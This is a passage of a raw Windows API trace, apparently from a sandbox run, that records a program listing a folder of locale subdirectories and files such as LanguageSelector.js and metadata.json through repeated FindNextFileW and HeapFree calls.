ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1 [0179.339] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.339] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0179.343] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.343] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0179.798] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0179.799] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1 [0180.211] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.211] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1 [0180.435] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.436] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0180.438] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.438] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1 [0180.441] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.441] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0180.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.443] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1 [0180.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.446] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0180.453] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.453] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1 [0180.455] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.455] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0180.458] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.458] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1 [0180.460] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.460] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1 [0180.591] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.591] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0180.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.638] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0180.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.641] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0180.644] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.644] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0180.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.646] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0180.648] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.648] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0180.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.651] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0180.653] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.653] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1 [0180.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.656] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0180.658] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.658] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0180.661] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.661] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1 [0180.663] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.663] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0180.665] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.666] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1 [0180.906] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0180.940] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0180.943] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.943] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1 [0180.945] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.945] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0180.947] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.947] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0180.949] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.949] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0180.951] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.951] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0180.953] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.953] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0180.955] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.955] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0180.957] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.957] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0180.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.958] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0180.961] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.961] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0180.964] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.964] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0180.966] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.966] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0180.968] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.968] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, 